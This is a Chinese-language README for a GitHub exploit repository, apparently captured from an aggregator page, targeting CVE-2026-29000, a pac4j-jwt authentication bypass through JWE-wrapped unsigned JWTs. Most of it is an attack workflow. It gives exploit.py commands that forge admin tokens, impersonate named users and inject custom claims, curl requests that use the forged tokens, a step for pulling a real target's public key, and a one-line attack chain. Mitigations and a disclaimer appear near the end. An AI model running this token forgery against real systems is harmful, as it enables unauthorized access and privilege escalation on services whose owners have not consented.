RootX111/cve-2026-29000

GitHub: RootX111/cve-2026-29000

声称针对CVE-2026-29000漏洞的利用代码仓库,但目前缺乏实质性内容。

Stars: 2 | Forks: 1

# CVE-2026-29000 漏洞利用 **通过 JWE 包装的 PlainJWT 绕过 pac4j-jwt 的 JWT 身份验证** ## 漏洞描述 CVE-2026-29000 是一个严重的身份验证绕过漏洞,影响 4.5.9、5.7.9 和 6.3.3 之前的 pac4j-jwt 版本。该漏洞允许远程攻击者伪造身份验证 token 并绕过签名验证。 ### 技术细节 该漏洞存在于 `JwtAuthenticator` 组件处理加密 JWT (JWE) 时。当接收到 JWE token 时: 1. 服务器使用其 RSA 私钥解密 JWE 2. 解密后的内容显示出一个内部 JWT 3. **漏洞**:服务器在未验证其签名的情况下从内部 JWT 中提取 claims 4. 攻击者可以伪造一个 JWE,其中包装了带有任意 claims 的 PlainJWT (algorithm: "none") ### 攻击要求 - 访问服务器的 RSA 公钥(通常通过 JWKS endpoint 暴露) - 能够向易受攻击的应用程序发送伪造的 token ### 影响 - **完全绕过身份验证**:攻击者可以模拟任何用户进行身份验证 - **权限提升**:可以分配任意角色,包括管理员角色 - **会话劫持**:无需凭据即可冒充合法用户 ### 受影响版本 - pac4j-jwt < 4.5.9 - pac4j-jwt < 5.7.9 - pac4j-jwt < 6.3.3 ## 仓库内容 - `exploit.py` - 用于生成恶意 token 的 Python 漏洞利用脚本 - `vulnerable_server.py` - 模拟该漏洞的演示服务器 - `requirements.txt` - Python 依赖项 - `README.md` - 本文件 ## 安装 ### 前置条件 - Python 3.8 或更高版本 - pip 包管理器 ### 设置 ``` # 克隆仓库 git clone https://github.com/RootX111/cve-2026-29000.git cd cve-2026-29000 # 安装依赖 pip3 install -r requirements.txt ``` ## 用法 ### 步骤 1:启动漏洞测试服务器 ``` python3 vulnerable_server.py ``` 服务器将执行以下操作: - 生成 RSA 密钥对(保存到 `server_private.pem` 和 `server_public.pem`) - 在 http://127.0.0.1:5000 上启动 - 在 http://127.0.0.1:5000/public-key 暴露公钥 ### 步骤 2:获取目标的公钥 在实际攻击场景中,从目标服务器获取公钥: ``` # 从 JWKS endpoint 下载公钥 curl http://target-server.com/jwks > target_jwks.json # 或者直接的公钥 endpoint curl http://target-server.com/public-key > target_public.pem ``` 对于测试服务器: ``` curl http://127.0.0.1:5000/public-key > server_public.pem ``` ### 步骤 3:生成恶意 Token 使用漏洞利用脚本创建 JWE 包装的 PlainJWT: ``` # 基本用法 - 以 admin 身份验证 python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem # 以具有多个角色的特定用户身份验证 python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem # 添加自定义 claims python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \ --claims '{"email":"admin@company.com","department":"IT"}' # 将 token 保存到文件 python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \ --output malicious_token.txt ``` ### 步骤 4:测试攻击 #### 针对漏洞服务器进行测试 ``` # 设置恶意 token(从 exploit.py 输出中复制) TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..." # 访问公共 endpoint(应该正常工作) curl http://127.0.0.1:5000/api/public # 使用恶意 token 访问用户 endpoint(BYPASS!) curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user # 使用恶意 token 访问 admin endpoint(PRIVILEGE ESCALATION!) curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin ``` admin endpoint 的预期成功输出: ``` { "status": "success", "message": "Admin endpoint accessed - RESTRICTED DATA", "user": "admin", "roles": ["ROLE_ADMIN"], "secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}", "admin_info": "This is sensitive administrative data" } ``` ## 完整攻击工作流 ### 完整测试命令 ``` # 1. 安装依赖 pip3 install -r requirements.txt # 2. 启动易受攻击的服务器(在终端 1 中) python3 vulnerable_server.py # 3. 在一个新终端中,获取公钥 curl http://127.0.0.1:5000/public-key > server_public.pem # 4. 生成恶意 admin token python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt # 5. 将 token 提取到变量中 TOKEN=$(cat token.txt) # 6. 测试公共 endpoint(基线 - 不需要 auth) curl http://127.0.0.1:5000/api/public # 7. 测试用户 endpoint(使用我们的恶意 token 应该成功) curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user # 8. 测试 admin endpoint(EXPLOIT SUCCESS - 应该能访问受限数据) curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin # 9. 验证响应是否包含 flag curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}' ``` ### 高级攻击场景 #### 场景 1:冒充特定用户 ``` python3 exploit.py --subject alice@company.com --roles ROLE_USER --public-key server_public.pem ``` #### 场景 2:提权为管理员 ``` python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem ``` #### 场景 3:自定义 Claims 注入 ``` python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \ --claims '{"email":"admin@company.com","isVerified":true,"permissions":["*"]}' ``` ## 漏洞利用脚本选项 ``` usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY] [--claims CLAIMS] [--generate-keypair] [--output OUTPUT] CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens options: -h, --help show this help message and exit --subject SUBJECT, -s SUBJECT Subject (username) to impersonate --roles ROLES, -r ROLES Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER) --public-key PUBLIC_KEY, -k PUBLIC_KEY Path to RSA public key PEM file --claims CLAIMS, -c CLAIMS Additional claims as JSON string --generate-keypair, -g Generate a test RSA keypair and save to files --output OUTPUT, -o OUTPUT Output file for the generated token ``` ## 漏洞工作原理 ### 正常的 JWT 流程(安全) ``` 1. Client sends JWT with signature 2. Server verifies signature with public key 3. If valid, extract claims 4. Grant access based on claims ``` ### 漏洞流程(CVE-2026-29000) ``` 1. Attacker obtains server's RSA public key 2. Attacker creates PlainJWT (alg: none) with arbitrary claims Example: {"sub": "admin", "roles": ["ROLE_ADMIN"]} 3. Attacker encrypts PlainJWT using JWE with server's public key 4. Server decrypts JWE successfully 5. Server extracts claims from inner PlainJWT WITHOUT signature verification 6. Server grants access based on forged claims ``` ### 原理说明 出现该漏洞的原因如下: - JWE 为内部内容提供机密性,而非完整性 - 服务器假定解密成功即意味着真实可信 - PlainJWT (algorithm: "none") 没有可验证的签名 - 仅凭 claims 被加密过这一事实就信任它们 ## 缓解措施 ### 对于开发者 1. **将 pac4j-jwt 更新** 至 4.5.9、5.7.9、6.3.3 或更高版本 2. **始终验证** JWE 解密后内部 JWT 的签名 3. **拒绝 PlainJWT** token (algorithm: "none") 4. 根据 allowlist **验证** JWT header 中的 algorithm ### 对于系统管理员 1. 立即更新受影响的应用程序 2. 审计身份验证日志以发现可疑活动 3. 审查用户会话并撤销可疑的 token 4. 考虑实施额外的身份验证层 ### 安全实现 ``` def verify_jwe_token_secure(token, private_key): # 1. Decrypt JWE inner_jwt = decrypt_jwe(token, private_key) # 2. Parse inner JWT header header = parse_jwt_header(inner_jwt) # 3. CRITICAL: Verify algorithm is not "none" if header.get('alg') == 'none': raise SecurityError("PlainJWT not allowed") # 4. CRITICAL: Verify signature of inner JWT if not verify_jwt_signature(inner_jwt, public_key): raise SecurityError("Invalid JWT signature") # 5. Extract claims only after verification return extract_claims(inner_jwt) ``` ## 测试清单 - [ ] 安装依赖项:`pip3 install -r requirements.txt` - [ ] 启动漏洞服务器:`python3 vulnerable_server.py` - [ ] 获取公钥:`curl http://127.0.0.1:5000/public-key > server_public.pem` - [ ] 生成恶意 token:`python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem` - [ ] 测试 public endpoint:`curl http://127.0.0.1:5000/api/public` - [ ] 使用 token 测试 user endpoint:`curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user` - [ ] 使用 token 测试 admin endpoint:`curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin` - [ ] 验证是否获取 flag:查找 `FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}` ## 快速入门指南 ``` # 单行设置和测试 pip3 install -r requirements.txt && \ python3 vulnerable_server.py & sleep 2 && \ curl http://127.0.0.1:5000/public-key > server_public.pem && \ python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \ TOKEN=$(cat token.txt) && \ echo "Testing exploit..." && \ curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin ``` ## 参考文献 - CVE-2026-29000 公告 - pac4j 安全公告 - OWASP JWT 安全备忘单 - RFC 7519 (JSON Web Token) - RFC 7516 (JSON Web Encryption) ## 免责声明 此工具仅出于教育和授权安全测试目的提供。未经授权访问计算机系统是违法行为。请仅在您拥有或获得明确测试许可的系统上使用此工具。 ## 许可证 MIT 许可证 - 仅用于教育目的 ## 作者 安全研究员 日期:2026-03-16
标签:JWT, PoC, Python, 无后门, 暴力破解, 漏洞利用, 身份认证绕过